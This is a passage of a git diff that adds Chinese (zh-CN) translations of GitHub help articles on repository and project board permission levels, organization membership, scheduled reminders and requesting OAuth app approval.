帐户类型](/articles/types-of-github-accounts) diff --git a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-a-user-account-repository.md b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-a-user-account-repository.md new file mode 100644 index 0000000000..5b36934f99 --- /dev/null +++ b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-a-user-account-repository.md @@ -0,0 +1,96 @@ +--- +title: 用户帐户仓库的权限级别 +intro: 'A repository owned by a personal account has two permission levels: the repository owner and collaborators.' +redirect_from: +- /articles/permission-levels-for-a-user-account-repository +- /github/setting-up-and-managing-your-github-user-account/permission-levels-for-a-user-account-repository +- /github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-a-user-account-repository +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: +- Accounts +shortTitle: Permission user repositories +ms.openlocfilehash: 3fed88f8c31f5d3dd788f7b977c214499856f27e +ms.sourcegitcommit: 67064b14c9d4d18819db8f6398358b77a1c8002a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 05/17/2022 +ms.locfileid: "145084752" +--- +## 关于个人帐户存储库的权限级别 + +个人帐户拥有的存储库有一个所有者。 所有权权限无法与其他个人帐户共享。 + +还可以{% ifversion fpt or ghec %}邀请{% else %}添加{% endif %} {% data variables.product.product_name %} 上的用户成为存储库的协作者。 有关详细信息,请参阅“[邀请协作者访问个人存储库](/github/setting-up-and-managing-your-github-user-account/inviting-collaborators-to-a-personal-repository)”。 + +{% tip %} + +提示:如果需要对个人帐户拥有的存储库实施更精细的访问控制,请考虑将存储库转让给组织。 有关详细信息,请参阅“[转让存储库](/github/administering-a-repository/transferring-a-repository#transferring-a-repository-owned-by-your-personal-account)”。 + +{% endtip %} + +## 所有者对个人帐户拥有的存储库的权限 + +仓库所有者对仓库具有完全控制权。 除了任何协作者可以执行的操作外,仓库所有者还可以执行以下操作。 + +| 操作 | 详细信息 | +| :- | :- | +| {% ifversion fpt or ghec %}邀请协作者{% else %}添加协作者{% endif %} | [邀请协作者加入个人存储库](/github/setting-up-and-managing-your-github-user-account/inviting-collaborators-to-a-personal-repository) | +| 更改仓库的可见性 | [设置存储库可见性](/github/administering-a-repository/setting-repository-visibility) |{% ifversion fpt or ghec %} +| 限制与仓库的交互 | [限制存储库中的交互](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository) |{% endif %} +| 重命名分支,包括默认分支 | [重命名分支](/github/administering-a-repository/renaming-a-branch) | +| 合并受保护分支上的拉取请求(即使没有批准审查) | [关于受保护分支](/github/administering-a-repository/about-protected-branches) | +| 删除仓库 | [删除存储库](/repositories/creating-and-managing-repositories/deleting-a-repository) | +| 管理仓库的主题 | [使用主题对存储库分类](/github/administering-a-repository/classifying-your-repository-with-topics) |{% ifversion fpt or ghec %} +| 管理仓库的安全性和分析设置 | [管理存储库的安全和分析设置](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository) |{% endif %}{% ifversion fpt or ghec %} +| 为私有仓库启用依赖项图 | [探索存储库的依赖项](/github/visualizing-repository-data-with-graphs/exploring-the-dependencies-of-a-repository#enabling-and-disabling-the-dependency-graph-for-a-private-repository) |{% endif %}{% ifversion fpt or ghes > 3.1 or ghec or ghae %} +| 删除和恢复包 | [删除和恢复包](/packages/learn-github-packages/deleting-and-restoring-a-package) |{% endif %} +| 自定义仓库的社交媒体预览 | [自定义存储库的社交媒体预览](/github/administering-a-repository/customizing-your-repositorys-social-media-preview) | +| 从仓库创建模板 | [创建模板存储库](/github/creating-cloning-and-archiving-repositories/creating-a-template-repository) |{% ifversion fpt or ghes or ghae or ghec %} +| 控制对易受攻击依赖项的 {% data variables.product.prodname_dependabot_alerts %} 访问 | [管理存储库的安全和分析设置](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository#granting-access-to-security-alerts) |{% endif %}{% ifversion fpt or ghec %} +| 忽略仓库中的 {% data variables.product.prodname_dependabot_alerts %} | [查看漏洞依赖项的 {% data variables.product.prodname_dependabot_alerts %}](/github/managing-security-vulnerabilities/viewing-and-updating-vulnerable-dependencies-in-your-repository) | +| 管理私有仓库的数据使用 | [管理专用存储库的数据使用设置](/get-started/privacy-on-github/managing-data-use-settings-for-your-private-repository)|{% endif %} +| 定义仓库的代码所有者 | [关于代码所有者](/github/creating-cloning-and-archiving-repositories/about-code-owners) | +| 存档仓库 | [存档存储库](/repositories/archiving-a-github-repository/archiving-repositories) |{% ifversion fpt or ghec %} +| 创建安全通告 | [关于 {% data variables.product.prodname_security_advisories %}](/github/managing-security-vulnerabilities/about-github-security-advisories) | +| 显示赞助按钮 | [在存储库中显示赞助者按钮](/github/administering-a-repository/displaying-a-sponsor-button-in-your-repository) |{% endif %} +| 允许或禁止自动合并拉取请求 | [管理存储库中拉取请求的自动合并](/github/administering-a-repository/managing-auto-merge-for-pull-requests-in-your-repository) | + +## 协作者对个人帐户拥有的存储库的权限 + +个人仓库的协作者可以拉取(读取)仓库的内容并向仓库推送(写入)更改。 + +{% note %} + +注意:在专用存储库中,存储库所有者只能为协作者授予写入权限。 协作者不能对个人帐户拥有的存储库具有只读权限。 + +{% endnote %} + +协作者还可以执行以下操作。 + +| 操作 | 详细信息 | +| :- | :- | +| 为存储库创建分支 | [关于分支](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks) |{% ifversion fpt or ghes > 3.1 or ghae or ghec %} +| 重命名除默认分支以外的分支 | [重命名分支](/github/administering-a-repository/renaming-a-branch) |{% endif %} +| 在仓库中创建、编辑和删除关于提交、拉取请求和议题的评论 |
  • [关于问题](/github/managing-your-work-on-github/about-issues)
  • [评论拉取请求](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request)
  • [管理中断性注释](/communities/moderating-comments-and-conversations/managing-disruptive-comments)
| +| 在仓库中创建、分配、关闭和重新打开议题 | [使用问题管理工作](/github/managing-your-work-on-github/managing-your-work-with-issues) | +| 在仓库中管理议题和拉取请求的标签 | [标记问题和拉取请求](/github/managing-your-work-on-github/labeling-issues-and-pull-requests) | +| 在仓库中管理议题和拉取请求的里程碑 | [创建和编辑问题和拉取请求的里程碑](/github/managing-your-work-on-github/creating-and-editing-milestones-for-issues-and-pull-requests) | +| 将仓库中的议题或拉取请求标记为重复项 | [关于重复的问题和拉取请求](/github/managing-your-work-on-github/about-duplicate-issues-and-pull-requests) | +| 在仓库中创建、合并和关闭拉取请求 | [通过拉取请求提议工作更改](/github/collaborating-with-issues-and-pull-requests/proposing-changes-to-your-work-with-pull-requests) | +| 启用或禁用自动合并拉取请求 | [自动合并拉取请求](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request) +| 将建议的更改应用于仓库中的拉取请求 |[在拉取请求中加入反馈](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/incorporating-feedback-in-your-pull-request) | +| 从仓库的复刻创建拉取请求 | [从分支创建拉取请求](/github/collaborating-with-issues-and-pull-requests/creating-a-pull-request-from-a-fork) | +| 提交影响拉取请求可合并性的拉取请求审查 | [查看拉取请求中的建议更改](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request) | +| 为仓库创建和编辑 wiki | [关于 Wiki](/communities/documenting-your-project-with-wikis/about-wikis) | +| 为仓库创建和编辑发行版 | [管理存储库中的发行版](/github/administering-a-repository/managing-releases-in-a-repository) | +| 作为仓库的代码所有者 | [关于代码所有者](/articles/about-code-owners) |{% ifversion fpt or ghae or ghec %} +| 发布、查看或安装包 | [发布和管理包](/github/managing-packages-with-github-packages/publishing-and-managing-packages) |{% endif %} +| 作为仓库协作者删除自己 | [从协作者的存储库中删除你自己](/github/setting-up-and-managing-your-github-user-account/removing-yourself-from-a-collaborators-repository) | + +## 延伸阅读 + +- [组织的存储库角色](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization) diff --git a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-user-owned-project-boards.md b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-user-owned-project-boards.md new file mode 100644 index 0000000000..00965455c7 --- /dev/null +++ b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-user-owned-project-boards.md @@ -0,0 +1,69 @@ +--- +title: 用户拥有的项目板的权限级别 +intro: 'A project board owned by a personal account has two permission levels: the project board owner and collaborators.' +redirect_from: +- /articles/permission-levels-for-user-owned-project-boards +- /github/setting-up-and-managing-your-github-user-account/permission-levels-for-user-owned-project-boards +- /github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-user-owned-project-boards +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: +- Accounts +shortTitle: Permission user project boards +ms.openlocfilehash: 535ef830e9ee0d8d5a3bb81ea208711cf4060943 +ms.sourcegitcommit: 67064b14c9d4d18819db8f6398358b77a1c8002a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 05/17/2022 +ms.locfileid: "145084751" +--- +## 权限概述 + +用户拥有的项目板只有一个所有者,此权限无法与其他个人帐户共享。 除了所有者之外,其他人可以在项目板上协作。 + +项目板协作者有三种权限级别: + +{% data reusables.project-management.project-board-permissions %} + +## 用户拥有的项目板的所有者和管理员权限 + +项目板所有者和具有管理员权限的协作者对项目板有完全控制权限。 除了项目板协作者拥有的所有权限之外,项目板所有者和具有管理员权限的协作者还可以: + +- [管理、查看和添加协作者](/articles/managing-access-to-your-user-account-s-project-boards) +- [将项目板配置为{% ifversion ghae %}内部{% else %}公共{% endif %}或专用](/articles/changing-project-board-visibility) +- [删除项目板](/articles/deleting-a-project-board/) +- [关闭项目板](/articles/closing-a-project-board/) +- [重新打开关闭的项目板](/articles/reopening-a-closed-project-board) + +## 用户拥有的项目板的读取和写入权限 + +对用户拥有的项目板具有读取权限的协作者可以: + +- 查看项目板 +- 复制项目板 +- 过滤项目板上的卡 + +对用户拥有的项目板具有写入权限的协作者可以: + +- 查看项目板 +- 复制项目板 +- 过滤项目板上的卡 +- 编辑项目板 +- 将仓库链接到项目板 +- 配置项目板的自动化 +- 复制项目板 +- 添加议题和拉取请求到项目板 +- 添加注释到项目板 +- 跟踪项目板上的进度 +- 存档项目板上的卡 + +## 项目板可见性 + +可以将项目板的可见性从专用更改为{% ifversion ghae %}内部{% else %}公共{% endif %},反之亦然。 默认情况下,用户拥有的项目板为私有。 有关详细信息,请参阅“[更改项目板可见性](/articles/changing-project-board-visibility)”。 + +## 延伸阅读 + + - “[管理对个人帐户的项目板的访问权限](/articles/managing-access-to-your-user-account-s-project-boards)” diff --git a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/what-does-the-available-for-hire-checkbox-do.md b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/what-does-the-available-for-hire-checkbox-do.md new file mode 100644 index 0000000000..067f217471 --- /dev/null +++ b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/what-does-the-available-for-hire-checkbox-do.md @@ -0,0 +1,33 @@ +--- +title: “招聘职位”复选框有什么作用? +intro: Use the **Available for hire** checkbox to view GitHub Jobs posts within GitHub. +redirect_from: +- /articles/what-does-the-available-for-hire-checkbox-do +- /github/setting-up-and-managing-your-github-user-account/what-does-the-available-for-hire-checkbox-do +- /github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/what-does-the-available-for-hire-checkbox-do +versions: + fpt: '*' + ghec: '*' +topics: +- Accounts +shortTitle: Available for hire checkbox +ms.openlocfilehash: d3acf444423db8aacce8d33d1062b32e435a751a +ms.sourcegitcommit: 67064b14c9d4d18819db8f6398358b77a1c8002a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 05/17/2022 +ms.locfileid: "145084750" +--- +{% warning %} + +弃用说明:GitHub Jobs 现已弃用。 最后一次发布工作日期是 2021 年 5 月 19 日。 GitHub Jobs 网站已于 2021 年 8 月 19 日完全关闭,现在重定向到 [GitHub 博客文章](https://github.blog/changelog/2021-04-19-deprecation-notice-github-jobs-site/)通知,其中包含有关 GitHub Jobs 现已完成的弃用的详细信息。 + +{% endwarning %} + +[GitHub Jobs](https://jobs.github.com/) 板是找到技术方面的工作的不错方法。 您可选择查看在 GitHub 仪表板上发布的职位。 + +![仪表板上的 GitHub Jobs 广告](/assets/images/help/settings/jobs-ads-on-dashboard.png) + +{% data reusables.user-settings.access_settings %} +2. 在“工作简介”下,选择“可供雇用”,然后单击“保存工作简介” 。 + ![工作简介设置](/assets/images/help/settings/jobs-profile-settings.png) diff --git a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/about-organization-membership.md b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/about-organization-membership.md new file mode 100644 index 0000000000..79e9e167f5 --- /dev/null +++ b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/about-organization-membership.md @@ -0,0 +1,58 @@ +--- +title: 关于组织成员资格 +intro: You can become a member of an organization to collaborate with coworkers or open-source contributors across many repositories at once. +redirect_from: +- /articles/about-organization-membership +- /github/setting-up-and-managing-your-github-user-account/about-organization-membership +- /github/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/about-organization-membership +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: +- Accounts +shortTitle: Organization membership +ms.openlocfilehash: 6a7afd8aee12e2c471f564122fb21f07d710f808 +ms.sourcegitcommit: 67064b14c9d4d18819db8f6398358b77a1c8002a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 05/17/2022 +ms.locfileid: "145084749" +--- +组织所有者可邀请您作为成员、帐单管理员或所有者加入其组织。 组织所有者或者对仓库具有管理员权限的成员可邀请您作为外部协作者,协作处理一个或多个仓库。 有关详细信息,请参阅“[组织中的角色](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)”。 + +您可以在个人资料页面上访问您是其成员的组织。 有关详细信息,请参阅“[访问组织](/articles/accessing-an-organization)”。 + +当您接受加入组织的邀请后,组织所有者可能会看到: + +- 您的公共资料信息 +- 你的电子邮件地址 +- 您是否启用双重身份验证 +- 您在组织内可以访问的仓库以及您的权限级别 +- 组织内的特定活动 +- 申请来源国家/地区 +- 您的 IP 地址 + +有关详细信息,请参阅 {% data variables.product.prodname_dotcom %} 隐私声明。 + + {% note %} + + 注意:所有者无法在组织的审核日志中查看成员 IP 地址。 在发生安全事件时,例如帐户被盗或因疏忽而共享敏感数据,组织所有者可能会申请详细访问私有仓库。 我们返回的信息可能包含您的 IP 地址。 + + {% endnote %} + +默认情况下,您的组织成员资格可见性会设为私密。 您可以选择在您的个人资料中公开个人组织成员资格。 有关详细信息,请参阅“[公开或隐藏组织成员身份](/articles/publicizing-or-hiding-organization-membership)”。 + +{% ifversion fpt or ghec %} + +如果您的组织属于某个企业帐户,您会自动成为该企业帐户的成员,企业帐户所有者能够看到您。 有关详细信息,请参阅 {% data variables.product.prodname_ghe_cloud %} 文档中的“[关于企业帐户](/enterprise-cloud@latest/admin/overview/about-enterprise-accounts){% ifversion fpt %}”。{% else %}."{% endif %} + +{% endif %} + +您可以随时离开组织。 有关详细信息,请参阅“[从组织中删除自己](/articles/removing-yourself-from-an-organization)”。 + +## 延伸阅读 + +- [关于组织](/articles/about-organizations) +- [管理组织中的成员身份](/articles/managing-your-membership-in-organizations) diff --git a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/accessing-an-organization.md b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/accessing-an-organization.md new file mode 100644 index 0000000000..9936b5ac46 --- /dev/null +++ b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/accessing-an-organization.md @@ -0,0 +1,31 @@ +--- +title: 访问组织 +intro: To access an organization that you're a member of, you must sign in to your personal account. +redirect_from: +- /articles/error-cannot-log-in-that-account-is-an-organization +- /articles/cannot-log-in-that-account-is-an-organization +- /articles/how-do-i-access-my-organization-account +- /articles/accessing-an-organization +- /github/setting-up-and-managing-your-github-user-account/accessing-an-organization +- /github/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/accessing-an-organization +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: +- Accounts +ms.openlocfilehash: 61d05267792ec59cef5f5b41d7680d1dc4c3f9fe +ms.sourcegitcommit: 67064b14c9d4d18819db8f6398358b77a1c8002a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 05/17/2022 +ms.locfileid: "145084746" +--- +{% tip %} + +提示:只有组织所有者才可查看和更改组织的帐户设置。 + +{% endtip %} + +{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} diff --git a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/index.md b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/index.md new file mode 100644 index 0000000000..c9cbf0db88 --- /dev/null +++ b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/index.md @@ -0,0 +1,29 @@ +--- +title: 管理组织中的成员资格 +intro: If you're a member of an organization, you can publicize or hide your membership, view other people's roles, and remove yourself from the organization. +redirect_from: +- /articles/managing-your-membership-in-organizations +- /github/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: +- Accounts +children: +- /about-organization-membership +- /accessing-an-organization +- /viewing-peoples-roles-in-an-organization +- /requesting-organization-approval-for-oauth-apps +- /publicizing-or-hiding-organization-membership +- /managing-your-scheduled-reminders +- /removing-yourself-from-an-organization +shortTitle: Manage organization membership +ms.openlocfilehash: cb0fbd62c63098fb3cbf5a786147499aa6d63c61 +ms.sourcegitcommit: 67064b14c9d4d18819db8f6398358b77a1c8002a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 05/17/2022 +ms.locfileid: "145084745" +--- diff --git a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/managing-your-scheduled-reminders.md b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/managing-your-scheduled-reminders.md new file mode 100644 index 0000000000..253cc5493f --- /dev/null +++ b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/managing-your-scheduled-reminders.md @@ -0,0 +1,53 @@ +--- +title: 管理您的预定提醒 +intro: Get reminders in Slack when you or your team have pull requests waiting for review. +versions: + fpt: '*' + ghec: '*' +topics: +- Accounts +redirect_from: +- /github/setting-up-and-managing-your-github-user-account/managing-your-scheduled-reminders +- /github/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/managing-your-scheduled-reminders +shortTitle: Manage scheduled reminders +ms.openlocfilehash: 41670a8c8b8aa1e6eade16c42f5a146f1ec0f5ee +ms.sourcegitcommit: 67064b14c9d4d18819db8f6398358b77a1c8002a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 05/17/2022 +ms.locfileid: "145084744" +--- +## 关于用户的预定提醒 + +预定提醒用于确保用户将重点放在需要他们关注的最重要审查请求上。 拉取请求的预定提醒将会在指定的时间在 Slack 中向您发送一条消息,提醒已经打开、需要您审查的拉取请求。 例如,您可以设置预定提醒,以便每天早上 10 点在 Slack 中向您发送消息,提醒需要由您或您的一个团队审查的拉取请求。 + +对于某些事件,您还可以为预定提醒启用实时警报。 实时警报会在重要事件(例如分配审查时)发生时立即发送到您的 Slack 通道。 + +对于您所在组织的拉取请求,您可以为个人或团队级审查请求设置预定提醒。 组织所有者必须先授权您的 Slack 工作区,然后您才可为自己创建预定提醒。 有关详细信息,请参阅“[管理组织的预定提醒](/organizations/managing-organization-settings/managing-scheduled-reminders-for-your-organization)”。 + +{% data reusables.reminders.scheduled-reminders-limitations %} + +## 为你的个人帐户创建预定提醒 + +{% data reusables.user-settings.access_settings %} {% data reusables.reminders.scheduled-reminders %} +1. 在要预定提醒的组织旁边,单击“编辑”。 +![预定提醒编辑按钮](/assets/images/help/settings/scheduled-reminders-org-choice.png) {% data reusables.reminders.add-reminder %} {% data reusables.reminders.authorize-slack %} {% data reusables.reminders.days-dropdown %} {% data reusables.reminders.times-dropdowns %} +8. 或者,要对分配给你的审查接收预定提醒,请选择“审查分配给你的请求”。 +![审查分配给你的请求复选框](/assets/images/help/profile/scheduled-reminders-your-requests.png) +9. 或者,要对分配给你所属团队的审查接受预定提醒,请选择“审查分配给你的团队的请求”。 +![审查分配给你的团队的请求复选框](/assets/images/help/profile/scheduled-reminders-your-team-requests.png) {% data reusables.reminders.real-time-alerts %} ![启用实时警报复选框](/assets/images/help/settings/scheduled-reminders-real-time-alerts-personal.png) {% data reusables.reminders.create-reminder %} + +## 为你的个人帐户管理预定提醒 +{% data reusables.user-settings.access_settings %} {% data reusables.reminders.scheduled-reminders %} +1. 在要编辑预定提醒的组织旁边,单击“编辑”。 +![预定提醒编辑按钮](/assets/images/help/settings/scheduled-reminders-org-choice.png) {% data reusables.reminders.edit-page %} {% data reusables.reminders.update-buttons %} + +## 为你的个人帐户删除预定提醒 +{% data reusables.user-settings.access_settings %} {% data reusables.reminders.scheduled-reminders %} +1. 在要删除提醒的组织旁边,单击“编辑”。 +![预定提醒编辑按钮](/assets/images/help/settings/scheduled-reminders-org-choice.png) {% data reusables.reminders.delete %} + +## 延伸阅读 + +- [管理组织的预定提醒](/organizations/managing-organization-settings/managing-scheduled-reminders-for-your-organization) +- [管理团队的预定提醒](/organizations/organizing-members-into-teams/managing-scheduled-reminders-for-your-team) diff --git a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/publicizing-or-hiding-organization-membership.md b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/publicizing-or-hiding-organization-membership.md new file mode 100644 index 0000000000..93a5bcc368 --- /dev/null +++ b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/publicizing-or-hiding-organization-membership.md @@ -0,0 +1,34 @@ +--- +title: 公开或隐藏组织成员关系 +intro: If you'd like to tell the world which organizations you belong to, you can display the avatars of the organizations on your profile. +redirect_from: +- /articles/publicizing-or-concealing-organization-membership +- /articles/publicizing-or-hiding-organization-membership +- /github/setting-up-and-managing-your-github-user-account/publicizing-or-hiding-organization-membership +- /github/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/publicizing-or-hiding-organization-membership +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: +- Accounts +shortTitle: Show or hide membership +ms.openlocfilehash: a85c9c40f24506ef2e8a9673093b8d7821954cb3 +ms.sourcegitcommit: 67064b14c9d4d18819db8f6398358b77a1c8002a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 05/17/2022 +ms.locfileid: "145084740" +--- +![个人资料组织框](/assets/images/help/profile/profile_orgs_box.png) + +## 更改组织成员关系的可见性 + +{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.people %} +4. 在成员列表中找到您的用户名。 如果列表很长,可在搜索框中搜索您的用户名。 +![组织成员搜索框x](/assets/images/help/organizations/member-search-box.png) +5. 在用户名右边的菜单中,选择新的可见性选项: + - 若要公开成员身份,请选择“公开”。 + - 若要隐藏成员身份,请选择“隐藏”。 + ![组织成员可见性链接](/assets/images/help/organizations/member-visibility-link.png) diff --git a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/removing-yourself-from-an-organization.md b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/removing-yourself-from-an-organization.md new file mode 100644 index 0000000000..6067ba970e --- /dev/null +++ b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/removing-yourself-from-an-organization.md @@ -0,0 +1,38 @@ +--- +title: 从组织中删除自己 +intro: If you're an outside collaborator or a member of an organization, you can leave the organization at any time. +redirect_from: +- /articles/how-do-i-remove-myself-from-an-organization +- /articles/removing-yourself-from-an-organization +- /github/setting-up-and-managing-your-github-user-account/removing-yourself-from-an-organization +- /github/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/removing-yourself-from-an-organization +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: +- Accounts +shortTitle: Leave an organization +ms.openlocfilehash: 72fcc393be287ace20d6c1412f769505117ccef9 +ms.sourcegitcommit: 67064b14c9d4d18819db8f6398358b77a1c8002a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 05/17/2022 +ms.locfileid: "145084739" +--- +{% ifversion fpt or ghec %} + +{% warning %} + +警告:如果你目前在组织中负责为 {% data variables.product.product_name %} 付款,从组织中删除自己不会更新组织的存档帐单信息 。 如果你目前负责计费,则必须让组织的其他所有者或帐单管理员[更新组织的付款方式](/articles/adding-or-editing-a-payment-method)。 + +有关详细信息,请参阅“[转让组织所有权](/articles/transferring-organization-ownership)”。 + +{% endwarning %} + +{% endif %} + +{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.organizations %} +3. 在“组织”下,找到你想要从中删除自己的组织,然后单击“离开”。 + ![显示角色的离开组织按钮](/assets/images/help/organizations/context-leave-organization-with-roles-shown.png) diff --git a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/requesting-organization-approval-for-oauth-apps.md b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/requesting-organization-approval-for-oauth-apps.md new file mode 100644 index 0000000000..f95bb05828 --- /dev/null +++ b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/requesting-organization-approval-for-oauth-apps.md @@ -0,0 +1,35 @@ +--- +title: 请求组织批准 OAuth 应用程序 +intro: Organization members can request that an owner approve access to organization resources for {% data variables.product.prodname_oauth_app %}. +redirect_from: +- /articles/requesting-organization-approval-for-third-party-applications +- /articles/requesting-organization-approval-for-your-authorized-applications +- /articles/requesting-organization-approval-for-oauth-apps +- /github/setting-up-and-managing-your-github-user-account/requesting-organization-approval-for-oauth-apps +- /github/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/requesting-organization-approval-for-oauth-apps +versions: + fpt: '*' + ghec: '*' +topics: +- Accounts +shortTitle: Request OAuth App approval +ms.openlocfilehash: 4e0f553ebbf8655da6230474e3d2051b6dc5ff2d +ms.sourcegitcommit: 67064b14c9d4d18819db8f6398358b77a1c8002a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 05/17/2022 +ms.locfileid: "145084735" +--- +## 请求组织批准您已为个人帐户授权的 {% data variables.product.prodname_oauth_app %} + +{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.access_applications %} {% data reusables.user-settings.access_authorized_oauth_apps %} +3. 在应用程序列表中,单击您想要请求访问权限的 {% data variables.product.prodname_oauth_app %}的名称。 +![查看应用按钮](/assets/images/help/settings/settings-third-party-view-app.png) +4. 在你想要 {% data variables.product.prodname_oauth_app %} 访问的组织旁边,单击“请求访问权限”。 +![“请求访问权限”按钮](/assets/images/help/settings/settings-third-party-request-access.png) +5. 审查关于请求 {% data variables.product.prodname_oauth_app %} 访问权限的信息后,单击“请求所有者的批准”。 +![“请求审批”按钮](/assets/images/help/settings/oauth-access-request-approval.png) + +## 延伸阅读 + +- [关于 {% data variables.product.prodname_oauth_app %} 访问限制](/articles/about-oauth-app-access-restrictions) diff --git a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/viewing-peoples-roles-in-an-organization.md b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/viewing-peoples-roles-in-an-organization.md new file mode 100644 index 0000000000..a10ce75bcb --- /dev/null +++ b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/viewing-peoples-roles-in-an-organization.md @@ -0,0 +1,67 @@ +--- +title: 查看组织中人员的角色 +intro: You can view a list of the people in your organization and filter by their role. For more information on organization roles, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)." +permissions: Organization members can see people's roles in the organization. +redirect_from: +- /articles/viewing-people-s-roles-in-an-organization +- /articles/viewing-peoples-roles-in-an-organization +- /github/setting-up-and-managing-your-github-user-account/viewing-peoples-roles-in-an-organization +- /github/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/viewing-peoples-roles-in-an-organization +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: +- Accounts +shortTitle: View people in an organization +ms.openlocfilehash: d492821546b16a7c863d96867ef431362e7056ce +ms.sourcegitcommit: 67064b14c9d4d18819db8f6398358b77a1c8002a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 05/17/2022 